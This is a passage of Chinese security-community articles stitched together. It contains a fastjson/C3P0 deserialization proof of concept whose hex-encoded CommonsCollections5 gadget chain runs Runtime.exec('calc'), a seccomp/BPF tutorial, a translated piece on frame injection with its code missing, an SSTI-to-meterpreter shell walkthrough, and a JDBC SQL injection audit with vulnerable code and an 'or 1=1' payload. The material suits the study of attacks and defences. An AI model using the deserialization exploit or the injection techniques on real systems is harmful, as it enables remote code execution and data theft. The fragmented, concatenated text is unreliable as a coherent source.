根据HASH_HEADER对十六进制进行截取，`HASH_HEADER`的默认值是`HexAsciiSerializedMap`，也就是payload中`userOverridesAsString`值中的键部分，通过它将十六进制数据读取出来并转换成ascii码，调用`fromByteArray()`进行处理
其中调用了：
Object out = deserializeFromByteArray( bytes );
跟进后最终调用`readObject()`进行反序列化处理
POC：
package C3P0;
import com.alibaba.fastjson.JSON;
class C3P02{
public static void main(String[] args) {
String payload = "{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000005374002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A6563747371007E000B0000003571007E000D71007E000E71007E000F7371007E000B0000002274001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001A78737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E003200000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00327371007E002B7571007E002F00000002707571007E002F00000000740006696E766F6B657571007E003200000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002F7371007E002B757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078700000000174000463616C63740004657865637571007E00320000000171007E00377371007E0027737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878\n\"}}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
} | 社区文章 |
# Seccomp从0到1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：at0de@星盟
## 介绍
Seccomp(全称：secure computing
mode)在2.6.12版本(2005年3月8日)中引入linux内核，将进程可用的系统调用限制为四种：read，write，_exit，sigreturn。最初的这种模式是白名单方式，在这种安全模式下，除了已打开的文件描述符和允许的四种系统调用，如果尝试其他系统调用，内核就会使用SIGKILL或SIGSYS终止该进程。Seccomp来源于Cpushare项目，Cpushare提出了一种出租空闲linux系统空闲CPU算力的想法，为了确保主机系统安全出租，引入seccomp补丁，但是由于限制太过于严格，当时被人们难以接受。
2005年的Cpushare项目原文及评论：<https://lwn.net/Articles/120647/>
## 实例
我们可以写一个实例验证一下：
ps：如果没有头文件可以直接用apt安装
sudo apt install libseccomp-dev libseccomp2 seccomp
代码如下：
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
int main() {
//prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
char *buf = "hello world!n";
write(0,buf,0xc);
printf("%s",buf);
}
未使用seccomp：hello world!hello world!
使用seccomp：hello world!Killed
初代的seccomp就是这样暴力，禁用白名单之外的所有函数！
## Seccomp-BPF
### 介绍
尽管seccomp保证了主机的安全，但由于限制太强实际作用并不大。在实际应用中需要更加精细的限制，为了解决此问题，引入了Seccomp – Berkley
Packet Filter(Seccomp-BPF)。Seccomp-BPF是Seccomp和BPF规则的结合，它允许用户使用可配置的策略过滤系统调用，该策略使用Berkeley Packet
Filter规则实现，它可以对任意系统调用及其参数（仅常数，无指针取消引用）进行过滤。Seccomp-BPF在3.5版（2012年7月21日）的Linux内核中（用于x86 /
x86_64系统）和Linux内核3.10版（2013年6月30日）被引入Linux内核。
Seccomp我们已经知道了，那么BPF规则是什么？
>
> 最初构想提出于1992年，其目的是为了提供一种过滤包的方法，并且要避免从内核空间到用户空间的无用的数据包复制行为。它最初是由从用户空间注入到内核的一个简单的字节码构成，它在那个位置利用一个校验器进行检查
> —— 以避免内核崩溃或者安全问题 —— 并附着到一个套接字上。其简化的语言以及存在于内核中的即时编译器（JIT），使 BPF 成为一个性能卓越的工具。
两者是如何结合的？
seccomp在过滤系统调用(调用号和参数)的时候，借助了BPF定义的过滤规则，以及处于内核的用BPF language写的mini-program。此外，BPF使得seccomp的用户无法遭受系统调用插入框架中常见的检查时间-使用时间（TOCTOU）攻击。BPF程序不能取消引用指针，这将所有过滤器限制为直接评估系统调用参数。
Seccomp-BPF在原来的基础上增加了过滤规则，大致流程如下：
现在我们逐步分析代码。
### step 1：定义过滤规则
先看看禁用execve函数的规则：
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //前面两步用于检查arch
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将帧的偏移0处，取4个字节数据，也就是系统调用号的值载入累加器
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当A == 59时，顺序执行下一条规则，否则跳过下一条规则，这里的59就是x64的execve系统调用
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW
};
我从[filter.h](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/filter.h#L52)中找到了结构体和宏指令，BPF的过滤规则就是由两个指令宏组成的指令序列完成的，这个序列是一个结构体数组。
/*
* Try and keep these values and structures similar to BSD, especially
* the BPF code definitions which need to match so you can share filters
*/
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter __user *filter;
};
/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code) ((code) & 0x18)
#define BPF_A 0x10
/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define BPF_TAX 0x00
#define BPF_TXA 0x80
/*
* Macros for filter block array initializers.
*/
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif
在[bpf_common.h](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/bpf_common.h#L7)中有BPF_STMT和BPF_JUMP这两个操作指令参数的介绍,中文注释来自看雪论坛okchenshuo师傅
#define BPF_CLASS(code) ((code) & 0x07) //首先指定操作的类别
#define BPF_LD 0x00 //将操作数装入A或者X
#define BPF_LDX 0x01
#define BPF_ST 0x02 //拷贝A或X的值到内存
#define BPF_STX 0x03
#define BPF_ALU 0x04 //用X或常数作为操作数在累加器上执行算数或逻辑运算
#define BPF_JMP 0x05 //跳转指令
#define BPF_RET 0x06 //终止过滤器并表明报文的哪一部分保留下来，如果返回0，报文全部被丢弃
#define BPF_MISC 0x07
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18) //在ld时指定操作数的大小
#define BPF_W 0x00 //双字
#define BPF_H 0x08 //单字
#define BPF_B 0x10 //单字节
#define BPF_MODE(code) ((code) & 0xe0) //操作数类型
#define BPF_IMM 0x00
#define BPF_ABS 0x20 //绝对偏移
#define BPF_IND 0x40 //相对偏移
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //当操作码类型为ALU时，指定具体运算符
#define BPF_ADD 0x00 //到底执行什么操作可以看filter.h里面的定义
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0
#define BPF_JA 0x00 //当操作码类型是JMP时指定跳转类型
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00 //常数
#define BPF_X 0x08
有师傅写了函数库[seccomp-bpf.h](https://github.com/ahupowerdns/secfilter/blob/master/seccomp-bpf.h)，用来快速添加规则
#define VALIDATE_ARCHITECTURE
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
#define EXAMINE_SYSCALL
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)
#define ALLOW_SYSCALL(name)
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)
#define KILL_PROCESS
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
我们只需要按照结构体去创建规则就可以使用它，可以有多条过滤规则，seccomp会从第0条开始逐条执行，直到遇到BPF_RET返回，决定是否允许该操作以及做某些修改。
### step 2:定义prog参数
prog结构体过滤规则个数与规则数组起始位置。
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), /* Number of filter blocks */
.filter = filter, /* Pointer to array of BPF instructions */
};
### step 3：使用prctl函数
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
prctl函数原型如下：
int prctl(int option, unsigned long arg2, unsigned long arg3,unsigned long arg4, unsigned long arg5);
[ prctl()用法](https://www.man7.org/linux/man-pages/man2/prctl.2.html)
我们这里用到了两种
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
为了保证安全性，需要将PR_SET_NO_NEW_PRIVSW位设置位1。这个操作能保证seccomp对所有用户都能起作用，并且会使子进程即execve后的进程依然受控，意思就是即使执行execve这个系统调用替换了整个binary权限不会变化，而且正如其名它设置以后就不能再改了，即使可以调用ptctl也不能再把它禁用掉。
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
PR_SET_SECCOMP指明我们正在为进程设置seccomp；
SECCOMP_MODE_FILTER将seccomp的过滤规则指向&prog；
&prog就是我们定义的过滤规则
### 实例
代码：
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
int main() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
printf("start!n");
system("id");
return 0;
}
添加多条规则建议使用[seccomp-bpf.h](https://outflux.net/teach-seccomp/step-3/seccomp-bpf.h)库,简单方便
例如
#define _GNU_SOURCE 1
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include "seccomp-bpf.h"
static int install_syscall_filter(void)
{
struct sock_filter filter[] = {
/* Validate architecture. */
VALIDATE_ARCHITECTURE,
/* Grab the system call number. */
EXAMINE_SYSCALL,
/* List allowed syscalls. */
ALLOW_SYSCALL(rt_sigreturn),
#ifdef __NR_sigreturn
ALLOW_SYSCALL(sigreturn),
#endif
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(exit),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
goto failed;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
perror("prctl(SECCOMP)");
goto failed;
}
return 0;
failed:
if (errno == EINVAL)
fprintf(stderr, "SECCOMP_FILTER is not available. :(n");
return 1;
}
int main()
{
if (install_syscall_filter())
return 1;
return 0;
}
## seccomp库函数
seccomp库可以提供一些函数实现prctl类似的效果，库中封装了一些函数，可以不用了解BPF规则而实现过滤。
需要安装一些库文件
sudo apt install libseccomp-dev libseccomp2 seccomp
实例
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
int main(void){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
char * str = "/bin/sh";
write(1,"hello worldn",12);
syscall(59,str,NULL,NULL);//execve
return 0;
}
scmp_filter_ctx是过滤器的结构体
seccomp_init对结构体进行初始化，若参数为SCMP_ACT_ALLOW，则过滤为黑名单模式；若为SCMP_ACT_KILL，则为白名单模式，即没有匹配到规则的系统调用都会杀死进程，默认不允许所有的syscall。
seccomp_rule_add用来添加一条规则，arg_cnt为0,表示我们直接限制execve,不管参数是什么，如果arg_cnt不为0,那arg_cnt表示后面限制的参数的个数,也就是只有调用execve,且参数满足要求时,才会拦截
seccomp_load是应用过滤器,如果不调用seccomp_load则上面所有的过滤都不会生效
注意：编译的时候要在最后面加 -lseccomp
## seccomp-tools
项目地址：<https://github.com/david942j/seccomp-tools>
可以用来查看过滤规则
$ seccomp-tools dump ./a.out
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
还有其他几个功能，可以自己探索
## seccomp在ctf中的应用
seccomp在ctf中大多用于禁用execve函数，解决办法就是构造shellcode，用open->read->write的方式读flag
做题这部分网上的例题和参考资料很多，我就不说了
我讲一下如何出seccomp类型的题：
1.栈类型的题使用ptrcl或seccomp库都行;
2.堆类型需要用ptrcl函数，因为seccomp库会留下堆的使用痕迹，如下图所示;
我查看seccomp.c的源码，发现了内核空间使用的kmalloc、kfree等函数
3.出堆题时将seccomp库的规则放到最后
[GKCTF2020]Domo 这道题的师傅是这样做的，但是会出现非预期解
## 总结
seccomp的pwn题近两年算是一个热点，搞懂这种机制运行原理很重要，希望能对大家有帮助。
## 参考资料
<https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt>
<https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp_filter.html>
<https://ajxchapman.github.io/linux/2016/08/31/seccomp-and-seccomp-bpf.html>
<https://zhougy0717.github.io/2019/11/30/seccomp%E4%BB%8B%E7%BB%8D/>
<https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/#seccomp>
<https://darkwing.moe/2019/08/08/seccomp/>
<https://bbs.pediy.com/thread-258146.htm> | 社区文章 |
`框架注入`是一种代码注入漏洞，为OWASP 2017年前十大类A1注入类别。由于跨站脚本具有有效性且容易被利用，所以此漏洞会被bug
bounty参与者优先考虑。但恶意黑客也被此漏洞所吸引，因为`框架注入`攻击允许黑客将用户重定向到用于网络钓鱼和类似攻击的其他恶意网站。
在这篇博文中，受到安全分析师Mustafa Hasan研究的启发，我们探讨了漏洞的其中一个方面。 我们还将对防范措施进行研究讨论。
Hasan是Securemisr的安全顾问，前Netsparker员工和bug bounty参与者。
### 框架的产生和发展
在框架发明之前，我们可以确定在任何给定的网站上只会遇到一个窗口对象。 但是，向HTML引入框架改变了这一点，因此必须在同一网页上处理多个窗口。
通常框架中的动作（例如单击链接）将直接影响相邻框架。
我们可以想象，当为电子书阅读器的网页设计两个网页框架，而其中一个框架用于查看书籍的目录，而点击该内容的链接将在另一个框架中启动。我们可以通过向锚元素和表单添加target属性，或者通过在`JavaScript`的`window.open`方法中指定将作为第二个参数加载URL的窗口名称来实现。
### 框架的简要历史介绍
在20世纪90年代中期，网页可以在任何给定时间将框架`frame`重定向到不同的网址。 1999年，安全研究员`Georgi
Guninski`发表了关于框架导航危险的研究。他发现，如果花旗银行的登录页面加载在`iframe`中，由于当时的`frame`规则，该`frame`的地址可能会被另一个窗口中的不同页面更改。花旗银行的登录页面中的`iframe`被重定向到攻击者控制的网站，如`https://attacker.com`。
2006年，微软开发了一套称为框架导航策略的规则，并在`Internet
Explorer版本7`上实现。根据此政策，为了从不同的网站更改`iframe`的地址，加载`iframe`的网站和其他网站必须具有相同的网站。
同源策略（SOP）是一种安全模型，用来管理具有不同来源的网站对其DOM的访问。 `SOP`比帧导航策略更具限制性，后者允许帧改变彼此的属性。
### 框架注入的危害
框架注入攻击需要攻击者将框架注入用户的网页。 随着浏览器的发展，此漏洞的影响也发生了变化。 例如，可以从加载在不同窗口中的站点改变Frame内的地址。
之后，使用`Keystroke Hijacking`等方法捕获使用Frame的用户的键盘活动。 以下是在`Internet Explorer
5`和6中实现此功能的`Cross Frame Scripting`示例代码。
在现代浏览器中，框架注入攻击产生的最大影响是注入的网站可以将其重定向到不同的URL，从而初始化顶部的导航栏。 这种类型的Frame注入攻击称为`Frame
Hijacking`。
### Frame Hijacking
`Frame Hijacking`是Frame注入的另一种可能，攻击者可以控制目标网站中iframe元素的src属性。
攻击者只需注入一个URL就可以成功，而不需要列入潜在的黑名单（例如`<>“`）。以下是此攻击的示例代码：
### Frame注入与XSS比较
如果攻击者能够使用iframe元素执行``payload，他们可能还能够注入跨站点脚本（XSS）。 所以现代的bug
bounty可能会发现这比XSS攻击更有用。
让我们来看看这个典型的bug bounty如何通过检查`Mustafa Hasan 2016`年的漏洞披露来导致错失的机会。
他的故事开始于在美国联合航空公司的网站上搜索廉价航班，当时他回忆起美联航提供了一个错误赏金计划，为报告安全漏洞的研究人员提供免费的飞行计划。
Hasan继续使用他的有效负载攻击输入字段并检查结果，直到他找到了United的所有权下的子域名`（http://checkin.united.com/）`。
### 美国联合航空公司框架注入详解
当向该子域发出请求时，Hasan意识到该域被重定向到同一域上的不同页面，并且SID参数是在查询字符串中发送的。
在对SID参数进行调查后，他确认该漏洞在六十个区域中均有表现。
使用payload后，Hasan发现其按预期显示在HTML输出中。 但是，他所希望在函数调用后看到的确认框根本没有出现。
在研究JavaScript代码时，Hasan发现原因。 本机功能（如`alert, confirm, prompt, unescape,
write`和`fromCharCode`）被该网站的代码块覆盖。
他试图删除覆盖的提示功能：
然而这不起作用。
因此，Hasan使用文档中具有空src属性的iframe来重置文档中的所有覆盖函数，方法是将它们与iframe窗口对象中的对应函数进行匹配。
这是payload的详细信息：
这是payload的另一个版本，在Brute Logic的帮助下被缩短：
虽然他所做的工作是漏洞切入点，但Mustafa Hasan错过了一个可以为他节省大量时间的一点 - 原始继承。
### Origin Inheritance
假设我们要查看在网页上在客户端生成的内容。 例如，希望使用JavaScript对用户输入进行一组计算，以便生成某种形式的输出。
我们希望将其视为网页，并以可打印的格式进行排列。 但是，由于所有进程都将在客户端进行，因此我们希望避免向服务器发出请求。
可以使用伪协议生成具有空DOM的网页，例如`about:,
javascript:`和`data：`。例如，当我们在Web浏览器的地址栏中调用`window.open("about:blank")`或键入`about：blank`并按`Enter`键时，您的浏览器将生成一个空`DOM`。
有多种方法可以使用伪协议生成此类页面。 其中一种方法是将伪协议分配给`iframe`的`src`属性和图像元素。 下面是一个例子：
上面的代码将导致`iframe`属性成为一个空DOM。 此DOM的文档原始值将从父域继承。 此功能称为“原始继承”。
使用此功能的非常简单的框架注入可以完全实现Mustafa Hasan的冗长payload。
上面的payload生成一个新的DOM对象，包括其中没有覆盖的函数。 此外，此资源的来源与加载`iframe`的目标网站相同。
这意味着它将能够访问目标网站的DOM资源，因为它们具有相同的来源，符合SOP规则。
在所有主流浏览器中，在`iframe`中调用`javascript:`的伪协议将导致原始值与父文档的原点相同。 这是在`Firefox
66.0.3`，`Chrome 73.0.3683.103`，`Internet Explorer 11`和`Microsoft Edge
44.17763.1.0`上测试的。
### 如何防止框架注入？
内容安全策略（CSP）标头将是防止帧注入攻击的有效方法。 CSP的script-src指令是一个非常有用的工具，可以防止XSS攻击。
同样，CSP的frame-src或child-src指令允许您将加载到页面上的iframe的源列入白名单。
您还可以为它们指定“无”值，以防止加载iframe。
本文为翻译稿件，来自：https://www.netsparker.com/blog/web-security/frame-injection-attacks/ | 社区文章 |
原文：<https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9>
在本文中，我们将为读者演示如何利用服务器端模板注入(SSTI)漏洞来取得托管应用程序的服务器的Shell。
我们都知道，由于模板引擎支持使用静态模板文件，并在运行时用HTML页面中的实际值替换变量/占位符，从而让HTML页面的设计变得更容易。当前广为人知且广泛应用的模板引擎有Smarty、Twig、Jinja2、FreeMarker和Velocity。
如果攻击者能够把模板指令作为用户输入进行注入，并且这些指令可以在服务器上执行任意代码的话，那么他们离服务器端模板注入攻击也不远了。如果在web页面的源代码中看到了下面的代码片段，那么，就可以大胆断定该应用程序正在使用某些模板引擎来呈现数据。
var greet = ‘Hello $name’;
<ul>
<% for(var i=0; i<data.length; i++)
{%>
<li><%= data[i] %></li>
<% }
%>
</ul>
<div>
<p> Welcome, {{ username }} </p>
</div>
由于我喜欢体验式学习，对于SSTI攻击也不会例外，所以，我就借助Sanoop Thomas和Saman编写的Xtreme Vulnerable Web
Application（XVWA）来练手，因为其中的一项挑战，就是关于SSTI漏洞。我强烈建议大家也不妨动手试一试，大家可以从[这里](https://github.com/s4n7h0/xvwa
"这里")下载该软件。
首先，我注入了探测字符串${{1300+37}}，以查看应用程序是否进行了相应的计算。根据服务器响应来看，得到的结果为 $1337
。根据这个响应，我们可以推测这里使用了模板引擎，因为这符合它们对于{{}}的处理方式。
注入探针字符串
响应中的数值1337
实际上，页面本身就表明它是一个TWIG模板引擎。那么，除了单纯的数学运算评估之外，我们还能利用这种注入漏洞做些什么呢？这让我想到了詹姆斯•凯特尔(James
Kettle)所做的一项令人敬佩的研究。如下所示，这个有效载荷能够恶意利用模板指令执行“id”命令。
执行代码的载荷
命令“id”的输出内容
这简直太棒了，但更让我心仪的却是获取服务器的Shell。于是，我马上生成了一个php
meterpreter有效载荷，并让它在服务器上执行以获得远程Shell。搞定！
php meterpreter有效载荷
Metasploit 侦听器
下载并执行php meterpreter有效载荷
Meterpreter Shell
对于不同的模板引擎，该漏洞的修复方法会有所不同，但如果在传递给模板指令之前，对用户输入进行安全过滤的话，则可以大大减少这类威胁。此外，另一种防御方法是使用沙箱环境，将危险的指令删除/禁用，或者对系统环境进行安全加固。
**参考文献：**
<https://portswigger.net/blog/server-side-template-injection>
<https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html> | 社区文章 |
# SQL注入代码审计
## 一、JDBC拼接不当造成sql注入
JDBC存在两种方法执行SQL语句，分别为PreparedStatement和Statement，相比Statement
，PreparedStatement会对SQL语句进行预编译，Statement会直接拼接sql语句造成SQL注入漏洞
### 1.Statement
示例代码中直接使用statement.executeQuery(sql)，存在sql注入漏洞
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
此处存在sql注入漏洞，执行SQL语句为select * from users where username = 'joychoun' or '1' =
'1'
### 2.PreparedStatement
与Statement的区别在于PrepareStatement会对SQL语句进行预编译，预编译的好处不仅在于在一定程度上防止了sql注入，还减少了sql语句的编译次数，提高了性能，其原理是先去编译sql语句，无论最后输入为何，预编译的语句只是作为字符串来执行，而SQL注入只对编译过程有破坏作用，执行阶段只是把输入串作为数据处理，不需要再对SQL语句进行解析，因此解决了注入问题。
PrepareStatement防御预编译的写法是使用?作为占位符然后将SQL语句进行预编译，由于"?"作为占位符已经告诉数据库整个SQL语句的结构，即?处传入的是参数，而不会是sql语句，所以即使攻击者传入sql语句也不会被数据库解析。
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
此时不存在SQL注入漏洞，传入的payload已进行转义
### 3.JDBC易产生漏洞点
#### 3.1.未使用占位符
PreparedStatement只有在使用"?"作为占位符才能预防sql注入，直接拼接仍会存在sql注入漏洞
#### 3.2.使用in语句
删除语句中可能会存在此类语句,由于无法确定delIds含有对象个数而直接拼接sql语句，造成sql注入。
String sql = "delete from users where id in("+delIds+"); //存在sql注入
解决方法为遍历传入的 对象个数，使用“?”占位符。
#### 3.3.使用like语句
使用like语句直接拼接会造成sql注入
String sql = "select * from users where password like '%" + con + "%'"; //存在sql注入
#### 3.4.%和_
